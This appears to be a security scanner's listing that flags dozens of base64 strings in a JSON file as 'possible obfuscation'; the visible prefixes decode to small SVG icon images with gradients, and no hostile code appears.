    "b64": "PHN2ZyBpZD0iYjMwMGYwZDEtMmFkOC00NDE4LWExYzUtMjNkMGI5ZDIxODQxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4Y2FkNmZkLWVjN2YtNDVlOS1iZTJh
  • Possible obfuscationline 802
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU1YjEwMjM2LTExNmMtNDNmMC1iOGQ3LTdhYTgxNDdjMWFjYiIgeDE9IjkiIHkxPSIxMy43MTIiIHgyPSI5IiB5
  • Possible obfuscationline 807
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU1MjhiYTE0LTk5MmUtNDdjNS1iZWYwLTY2M2NhMTc4MjBkYyIgeDE9IjExLjk5NCIgeTE9Ii0wLjIwOSIgeDI9
  • Possible obfuscationline 812
    "b64": "PHN2ZyBpZD0iYjIyZWQzZTUtODdjNi00OTQ4LWExMmQtZTlhOWZjYTM0OWVhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjZWYxMDNiLTg0M2QtNDAxMy1iMWMy
  • Possible obfuscationline 817
    "b64": "PHN2ZyBpZD0iYmIzN2VlMTEtMWQ3OC00MmRjLTllNjgtMWVmNmY2OTNjMTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQ2YzNkLTA2ZjItNGQ4MS1iM2Zh
  • Possible obfuscationline 822
    "b64": "PHN2ZyBpZD0iYWZjYzM3ODMtNzM3OC00NDk3LWJmMTUtNzJjMjA2MzNiZjIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MmRhMTE4LTk5M2QtNGMzOS04MDNj
  • Possible obfuscationline 827
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkN2E4OGE2LWIyYTAtNGJiZC1iZGU1LTg0NTRiYjdkMzQ0ZiIgeDE9IjguMDA2IiB5MT0iMS44NjciIHgyPSI4
  • Possible obfuscationline 832
    "b64": "PHN2ZyBpZD0iYWZjYzM3ODMtNzM3OC00NDk3LWJmMTUtNzJjMjA2MzNiZjIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MmRhMTE4LTk5M2QtNGMzOS04MDNj
  • Possible obfuscationline 837
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkN2E4OGE2LWIyYTAtNGJiZC1iZGU1LTg0NTRiYjdkMzQ0ZiIgeDE9IjguMDA2IiB5MT0iMS44NjciIHgyPSI4
  • Possible obfuscationline 842
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyMTQ0MmZjLTUwNmItNDNlMy1hMzU4LTVjZGVkNmVjMTJiMSIgeDE9IjkiIHkxPSI3ODAuNDYxIiB4Mj0iOSIg
  • Possible obfuscationline 847
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2Mzk3ZDJlLTNiYTEtNDgyNC04MjllLTk5NzhhNTMzNTA3MiIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5
  • Possible obfuscationline 852
    "b64": "PHN2ZyBpZD0idXVpZC05N2M0YWJiZi05YzQ2LTQ5ZTktYWE2Yi0zNzhlZjk0YjYyMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC02NmNmMmI2Zi0yMDc4
  • Possible obfuscationline 857
    "b64": "PHN2ZyBpZD0iZjQ3MGUxMTItZjFkOC00YzE4LWEzODEtOWI1NGUxMWE5Y2EzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxOThmOWFkLTIyNGUtNGYzNy05OWJi
  • Possible obfuscationline 862
    "b64": "PHN2ZyBpZD0iZjc4ZjUxMTUtYmU4OC00ZDQ0LWIzNGUtM2Y2ZWE3NDMxMjVjIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2YzQzYmQ5LWUzN2YtNDE5MS05M2My
  • Possible obfuscationline 867
    "b64": "PHN2ZyBpZD0idXVpZC00MDAxMWYzZi0yMmQwLTQ4ODItODM3Ni1hZmUyZWY1MTRhN2UiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01YzRkZmMzMy0xMjM2
  • Possible obfuscationline 872
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3NzQ5MTJhLTZmMDYtNDBmNC04ZTMxLWYyZDRkZDYxZDJhZiIgeDE9IjEzLjM5OCIgeTE9IjEuNzQ3IiB4Mj0i
  • Possible obfuscationline 877
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYWI4NjJmLWQ1YzYtNDkyNi04M2U0LTBhZGY3M2NhN2RiMCIgeDE9IjkiIHkxPSI5LjM4NyIgeDI9IjkiIHky
  • Possible obfuscationline 882
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU4ODEyMThhLWU0YmYtNGUwZS1iYmNmLWRhMDkwYjViNWNiZiIgeDE9IjEwLjU2NCIgeTE9IjEuMzMzIiB4Mj0i
  • Possible obfuscationline 887
    "b64": "PHN2ZyBpZD0iYWNjYjhiMTEtZmY3NS00ZWQ3LTg2ZDAtNzRmM2FmOWU5ZmRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjMzRjZjNjLTA3MDUtNDYwOS04ZWRh
  • Possible obfuscationline 892
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhOTJmM2QwLTMyOGUtNGZlNC05ZDk1LTZhZTBkNzkzNmE1YiIgeDE9IjcuOTQ0IiB5MT0iMC4yMzMiIHgyPSI3
  • Possible obfuscationline 897
    "b64": "PHN2ZyBpZD0idXVpZC1kY2JhMGQxZS0zOGY3LTQ2MmUtODg0YS1mNDdmZmE3MTdmYjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMzRkZTUzOS03YmI3
  • Possible obfuscationline 902
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGZmY2U5LTI5NjAtNDk5Ni05OTVlLTFlM2I5OGVjMWQ5OSIgeDE9IjguNzY1IiB5MT0iMTUuMjY1IiB4Mj0i
  • Possible obfuscationline 907
    "b64": "PHN2ZyBpZD0iYTEyZDc1ZWEtY2JiNi00NGZhLTgzMmEtZTU0Y2NlMDA5MTAxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyYjEzZDgxLTk3ZTAtNDY1YS1iOWVk
  • Possible obfuscationline 912
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4YmU5MGNhLWI1MTMtNDg5MC1hYzQyLWI3ZmMzYjM5NmI3MSIgeDE9IjExLjU2NSIgeTE9IjE0LjcyOSIgeDI9
  • Possible obfuscationline 917
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MjllNjZlLTk2NTEtNGNiNi05MDFhLWI1ZDczZTI1ZmNkOSIgeDE9IjYuNDM2IiB5MT0iMTAuNzc2IiB4Mj0i
  • Possible obfuscationline 922
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYTdlOWU1LTFmZTktNDEyMS05MTRjLTBiYWNlYzg3Mjc1YiIgeDE9IjcuMDI4IiB5MT0iMS4xNzkiIHgyPSI3
  • Possible obfuscationline 927
    "b64": "PHN2ZyBpZD0iZjhjYzY3YjYtODhkMi00ZDY1LWI5ZDQtMDg4N2UwNGQxZjM4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImIxY2Q0NGYyLWQ2MmItNDc1My1hODU5
  • Possible obfuscationline 932
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYjc4NjgzNTUtMDAwMS00MWU4LTg0ZTEtYWU4NDJkOTRhNWFhIj48Zz48cG9seWdvbiBwb2ludHM9IjEyLjEgMi4wNSAxMi4xIDUuODUgOC45IDcu
  • Possible obfuscationline 937
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYTQ0MDkzLWIxNTctNDI2ZS1hOGZlLWNlYzlmOWMyMzk3OCIgeDE9IjExLjcyOSIgeTE9IjQuODgiIHgyPSIx
  • Possible obfuscationline 942
    "b64": "PHN2ZyBpZD0iYmViNDQwZjUtZDAxNy00ZGRhLTk4OWEtZGRkNDI1ZmNlMDJlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3NTQzOTA0LTRhODktNDM1ZS05NmNk
  • Possible obfuscationline 947
    "b64": "PHN2ZyBpZD0iZTlmN2JhNzMtNTZiOC00ODY0LTk2ZmYtZGNlODBiZWY3MjlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkZjI3ZGM2LTAyNWMtNDgwNS04YmZk
  • Possible obfuscationline 952
    "b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi
  • Possible obfuscationline 957
    "b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi
  • Possible obfuscationline 962
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1NWJmMjEyLWJjNzEtNDNhZS1iNDJkLTE5ZWY3YTkxYzFkOCIgeDE9IjkiIHkxPSIxMy4yNDUiIHgyPSI5IiB5
  • Possible obfuscationline 967
    "b64": "PHN2ZyBpZD0idXVpZC01NGM5YmUwNC1iYmFiLTRjMjQtYTNkZi0xMWJkMGUyOGNhODUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MGZkNjJmNS1kMTgy
  • Possible obfuscationline 972
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMmFmNjdlLTNjZGQtNDNkMy04OGE5LWM2ZGRjODJiOTVhOSIgeDE9IjMuNTI0IiB5MT0iNi4xNjIiIHgyPSIz
  • Possible obfuscationline 977
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxYTk3YzA3LWIxMjYtNDBjMS1hZjVjLTQ0YTNiMzAwZDBlZSIgeDE9Ii02NTUuNjQ0IiB5MT0iNzUxLjQwMSIg
  • Possible obfuscationline 982
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2OTYyOGU0LWYxZmItNGI2My05YzM0LWUyZDg0YzM2YWZjNCIgeDE9IjkiIHkxPSIxNy4xOTgiIHgyPSI5IiB5
  • Possible obfuscationline 987
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4OTc3YTZlLTBlZDgtNDk0MC1hYWE1LTdmYTI0OTgwOWY1MSIgeDE9IjUuODM5IiB5MT0iMTcuMDY4IiB4Mj0i
  • Possible obfuscationline 992
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImI0MmYyYTZlLTcwMzktNDMxYi04MzRjLWRmOTEzZDRhYzI5YyIgY3g9IjkuNDc3IiBjeT0iOS41NzYiIHI9Ijcu
  • Possible obfuscationline 997
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExY2JhMzk3LTQ0YWYtNDhlNC1iY2IyLTIyNGI3MmIyM2E4NyIgeDE9IjUuNzgyIiB5MT0iMS43ODkiIHgyPSI1
  • Possible obfuscationline 1002
    "b64": "PHN2ZyBpZD0iZTAwZmVmMzAtMTU2Yy00OTMwLThiNjUtM2E1OTM1NDNhYTFkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0NWJhOWI1LTJlMDgtNGMzOS04OTE2
  • Possible obfuscationline 1007
    "b64": "PHN2ZyBpZD0iYjczMWY2ODQtN2NiOS00ZGI3LWIyYzEtMTUwNjhhYmYxMzNkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImY2NTM5OGEzLWRmNjktNDY4OS04ZDVh
  • Possible obfuscationline 1012
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xMjwvdGl0bGU+PGcgaWQ9ImI4M2VmYWVhLWJkZGEtNGNhNi1iM2YzLWJkOWI0NDBmMWQxMiI+PGc+PHBh
  • Possible obfuscationline 1017
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xODwvdGl0bGU+PGcgaWQ9ImZiMmJlMThlLTQ1NGYtNDEwNC04NjlhLTMxYzNiOGJhOTYxYyI+PGc+PGc+
  • Possible obfuscationline 1022
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNjJhMzlmLTMzNGUtNGY3MC1hMjhkLTY0YjhiMDAwMTg2ZSIgeDE9IjguNDQiIHkxPSI0LjUyOSIgeDI9Ijgu
  • Possible obfuscationline 1027
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZDUxOGY5LTRmNzMtNDYxOC1hNmM3LTNhZmZmZjJhOTZiMiIgeDE9IjguODUiIHkxPSIxNi42NjgiIHgyPSI4
  • Possible obfuscationline 1032
    "b64": "PHN2ZyBpZD0iZTk0NTQwMDYtNzZhNi00NDM4LWFlZjktNGNjY2VhZGNjODM0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZlMzkxOTg2LThkMzYtNDA3MC04ZjFk
  • Possible obfuscationline 1037
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwOWIwZjBmLTNkMjQtNGFhZC04ZmRhLTczZjlkYzg1NjFmNyIgeDE9IjkiIHkxPSI3OTAuNzg3IiB4Mj0iOSIg
  • Possible obfuscationline 1042
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwNzY1MDI0LTg0M2YtNDVkNy1hNWQyLTZhNjFlZjFmNTg2YiIgeDE9IjQuOTg0IiB5MT0iMTguNzQ5IiB4Mj0i
  • Possible obfuscationline 1047
    "b64": "PHN2ZyBpZD0iYTBjYjkxMjItN2U4ZS00OTg3LThjYWQtOWNhYjc3MjExNWE3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxYjgxMjEzLWI3ZDUtNDY1Yi1hNWYz
  • Possible obfuscationline 1052
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJiYmZmMTZjZS03YWFkLTRiODYtOGJi
  • Possible obfuscationline 1057
    "b64": "PHN2ZyBpZD0iZjllZDk2OTAtNjc1My00M2E3LThiMzItZDY2YWM3YjhhOTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MTBhMzY0LTA4M2YtNDk0Yy05ZDk2
  • Possible obfuscationline 1062
    "b64": "PHN2ZyBpZD0iZjllZDk2OTAtNjc1My00M2E3LThiMzItZDY2YWM3YjhhOTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MTBhMzY0LTA4M2YtNDk0Yy05ZDk2
  • Possible obfuscationline 1067
    "b64": "PHN2ZyBpZD0iYjJlOGFhMDItZjVjZC00OTM3LWI5MDEtNjE5YmJkY2M0YzZmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGU2MTM0LTUxMzItNDc0Zi04NGM1
  • Possible obfuscationline 1072
    "b64": "PHN2ZyBpZD0iYmZiYjkxZDItY2IyMC00NGNmLWIxYTktMGQxNjIwNGEzMmQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiM2I4YjlmLTczMmEtNGQ0Zi1hMTY0
  • Possible obfuscationline 1077
    "b64": "PHN2ZyBpZD0iYmUwMmU5MmEtZjFhYy00MzZiLTg1Y2QtYzdmYTZkNzFhN2FiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyZjVhMzk5LWU1MTMtNGI1ZC05YjUw
  • Possible obfuscationline 1082
    "b64": "PHN2ZyBpZD0iYWZhODE4MDQtN2IyZi00YTVlLWI2N2UtYWE1MWI0ZDA4MTYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48Y2xpcFBhdGggaWQ9ImViYjgzODljLTlhMjQtNGFlNS04ZGY2LTkxMzk0
  • Possible obfuscationline 1087
    "b64": "PHN2ZyBpZD0iYjBhM2Y1ODQtNzEyMS00N2E3LWJiY2UtNDJhMzc2NThlY2Q1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzODhlYzYzLTNlODYtNDVkMC1iMDM5
  • Possible obfuscationline 1092
    "b64": "PHN2ZyBpZD0idXVpZC0xODFlYzc4Zi1hMGMyLTQ2ODItODZmMS04ZTY0YzA1NzE4MTMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05YjRhMGI1Yy05NTg2
  • Possible obfuscationline 1097
